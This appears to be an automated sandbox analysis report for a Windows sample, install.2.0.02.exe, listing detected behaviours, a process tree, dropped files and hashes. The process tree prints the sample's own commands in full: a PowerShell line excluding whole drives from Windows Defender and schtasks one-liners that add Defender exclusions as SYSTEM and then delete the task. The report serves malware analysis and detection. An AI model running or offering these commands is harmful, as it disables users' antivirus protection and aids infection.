Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/10/2026, 04:23

General

  • Target
    install.2.0.02.exe
  • Size 34.6MB
  • Sample261022-ez7pashc73
  • SHA256 b957630635ea6efc555f052091e6db49e0f0d51c345173154adcdd37802e4e01
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 3 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5948
  • C:\Users\Public\eR9Pg3\fa9G43.exe
    "C:\Users\Public\eR9Pg3\fa9G43.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2504
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eR9Pg3\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:5128
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eR9Pg3\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4148
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4292
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5500
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:568
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3116
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1792
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5424
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:1284
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3728
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3452
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4468
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:3920
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5464
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4660
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4632
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\eR9Pg3" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    PID:3316
                  • C:\Windows\system32\cmd.exe
                    cmd.exe
                    1⤵
                      PID:4788
                    • C:\Users\Public\eR9Pg3\fa9G43.exe
                      "C:\Users\Public\eR9Pg3\fa9G43.exe"
                      1⤵
                        PID:1696
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:4620
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:4448

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                            • Size 1KB
                            • SHA256 45dd719926cb714b9f06846505bf6c7b7a7fa2c0ba48edbedf62cd46af58a4b2
                            • MD5 SHA1 SHA512 TLSH

                            B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                            • Size 1KB
                            • SHA256 94caf1ecc516d0af12bdf169e6cd02988962e5447c40d694f0daa00b7cc269f0
                            • MD5 SHA1 SHA512 TLSH

                            0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                            • Size 512B
                            • SHA256 ebc238535dafd1d216659534d3f47004c7f034dd61c6fa22287b91e19226ac92
                            • MD5 SHA1 SHA512 TLSH

                            B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                            • Size 506B
                            • SHA256 fd34034c525c087db7bb4c844075db689e7a9963af675c5cb24c4fb6d371e0aa
                            • MD5 SHA1 SHA512 TLSH

                            UxEnhance64.dll

                            • Path C:\Users\Public\eR9Pg3\UxEnhance64.dll
                            • Size 3.1MB
                            • SHA256 60133a3a6d58ca858a8e47a33e3ece89862e26d6b5fa2864b2866d98e8b3af57
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            adoresd.dat

                            • Path C:\Users\Public\eR9Pg3\adoresd.dat
                            • Size 4.8MB
                            • SHA256 e0fa43fd7f14aeb2881df59cf8c8185b9d67619b37436c7994611380bcb487fa
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            fa9G43.exe

                            • Path C:\Users\Public\eR9Pg3\fa9G43.exe
                            • Size 135KB
                            • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            msadox.tb

                            • Path C:\Users\Public\eR9Pg3\msadox.tb
                            • Size 8KB
                            • SHA256 1bcf4e00de199927cbf6e804bfe9c68cfa8ccd786a0959a5ef8af225fac2e9f0
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/880-556-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-558-0x000001E74CE30000-0x000001E74CE7E000-memory.dmp

                            memory/880-567-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-566-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-536-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-539-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-538-0x00007FFFDFD60000-0x00007FFFDFD62000-memory.dmp

                            memory/880-543-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-544-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-545-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-564-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-550-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/880-559-0x000001E74E570000-0x000001E74E5FA000-memory.dmp

                            memory/880-560-0x000001E74E570000-0x000001E74E5FA000-memory.dmp

                            memory/880-561-0x000001E74E570000-0x000001E74E5FA000-memory.dmp

                            memory/880-562-0x000001E74E570000-0x000001E74E5FA000-memory.dmp

                            memory/880-531-0x00007FFFBE1A0000-0x00007FFFBE6BE000-memory.dmp

                            memory/880-530-0x00007FFFDFD50000-0x00007FFFDFD52000-memory.dmp

                            memory/880-546-0x000001E74D880000-0x000001E74E157000-memory.dmp

                            memory/1696-587-0x00000181A12F0000-0x00000181A1BC7000-memory.dmp

                            memory/1696-580-0x00000181A12F0000-0x00000181A1BC7000-memory.dmp

                            memory/1696-590-0x00000181A12F0000-0x00000181A1BC7000-memory.dmp

                            memory/1696-589-0x00000181A12F0000-0x00000181A1BC7000-memory.dmp

                            memory/1696-588-0x00000181A12F0000-0x00000181A1BC7000-memory.dmp

                            memory/1696-591-0x00007FFFDFD50000-0x00007FFFDFD52000-memory.dmp

                            memory/1696-577-0x00007FFFBE1A0000-0x00007FFFBE6BE000-memory.dmp

                            memory/1696-583-0x00000181A12F0000-0x00000181A1BC7000-memory.dmp

                            memory/1696-582-0x00007FFFDFD60000-0x00007FFFDFD62000-memory.dmp

                            memory/5948-1-0x0000000000480000-0x000000000048E000-memory.dmp

                            memory/5948-0-0x0000000000480000-0x000000000048E000-memory.dmp

                            memory/5948-525-0x00007FFFD73B0000-0x00007FFFD73C2000-memory.dmp

                            memory/5948-2-0x0000000002170000-0x000000000217C000-memory.dmp

                            memory/5948-504-0x00007FFFD73B0000-0x00007FFFD73C2000-memory.dmp

                            memory/5948-524-0x0000000000480000-0x000000000048E000-memory.dmp